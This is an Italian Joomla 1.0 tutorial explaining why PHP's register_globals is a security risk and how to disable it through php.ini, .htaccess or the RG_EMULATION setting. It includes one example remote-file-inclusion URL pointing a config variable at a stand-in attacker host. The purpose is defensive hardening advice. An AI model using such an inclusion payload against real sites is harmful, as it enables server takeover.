Tutorial generici
Impostare register_globals |
Impostare register_globals |
|
|
|
| Tutorial | |||
|
Register Global La funzione register_globals aiuta gli sviluppatori nella creazione di componenti. Questa infatti permette a tutti i valori che sono processati dallo script e li mette in variabili. Cio significa che index.php?nostrafunzione=nostrovalore crea automaticamente la variabile $nostrafunzione con valore nostrovalore nello script index.php Come mai questo è un rischio?
Principalmente perchè la funzione non controlla il valore. index.php?mos_config_livesite=http://codice.hacker.abc In questo caso l'index.php proverà ad includere questo file e caricherà un file dal server. Con questo script, l'intruso avrà accesso al tuo server. La funzione da sola non è un problema. Se controlliamo ogni variabile prima di usarne il contenuto, siamo praticamente al sicuro, e questo lo sviluppatore attendo vodrà sempre fare. In Joomla questo è semplice, per gli sviluppatori esiste una funzione chiamata mosGetParam(), che compie tutti i controlli per noi ed è veramente semplice da usare. Se tutti gli sviluppatori usano questa funzione e non il register_globals, avremo realmente pochi problemi di sicurezza. Come posso impostare il register_globals Off?Configurazione di Apache/Php Se hai accesso al file di configurazione del tuo server puoi scrivere impostare il valore come di seguito specificato: register_globals = Off Qui è richiesta la necessaria esperienza, o si rischia che il server non risponda più, per poter agire ad esempio sul file .htaccess In molti server, possiamo configurare apache tramite il file .htaccess Questo file non possono essere letti dal direttamente dal browser web! Per creare questo file possiamo creare un documento con blocco note o linux (assolutamente non con Word ! , Wordpad altri editor di testo) e inserire la linea php_flag register_globals off Se lo salviamo nella cartella principale di Joomla, imposteremo il register_globals a off eliminando i rischi per la sicurezza php.iniQuando il file .htaccess non è accessibile, possiamo usare il file php.ini, (sempre che anche questo sia accessibile a noi). La linea da inseirire o modificare è la seguenteregister_globals = off Una soluzione potrebbe essere quella di creare un file php.ini da mettere in tutte le cartelle o modificare il file php.ini del server. Se non abbiamo accesso al php.ini devi richiedere al provider di hosting se può mettere il register_globals a off. Se si rifiuta, è consigliabile cambiare hosting, in quanto si tratta di una forma di sicurezza basilare utilizzata da molti anniEmulazione RG L'emulazione RG è appunto un'emulazione del register_globals, e permette di risolvere molti problemi di sicurezza di quest'ultimo, permettendo ad alcune applicazioni di funzionare anche se il register_globals è su off. Purtroppo questa emulazione non risolve tutti i problemi di sicurezza, ed è consigliabile portarla a OFF.Ciò è possibile semplicemente aprendo il file globals.php che risiede nella cartella
principale del sito Joomla, e sostituire la linea define(’RG_EMULATION’, 1) con la riga RG_EMULATION’, 0). Nota: Con la modifica delle impostazioni del register global alcune estensioni potrebbero perdere delle funzionalità o addirittura non funzionare affatto, ciò è dovuto alle restrizioni di tale funzione che evita che codice scritto male (ad esempio variabili non dichiarate ecc.) possa funzionare, cosa che non accade con l'impostazione del register global ON, impostazione molto più "libertina" che permette di far funzionare anche quel tipo di codice scritto, aumentando però i problemi di sicurezza. Quindi meglio controllare di avere le impostazioni impostate su OFF e dopo cercare aggiornamenti alle estensioni che permettano di funzionare con tale modalità. |
|||
| < Prec. |
|---|
| Requisiti minimi |
| Installazione Joomla! 1.0.x |
| Manuale utente Joomla! 1.0 |
| Help File Joomla! 1.0 |
| Glossario Joomla! 1.0.x |
| Download Joomla! 1.0.x |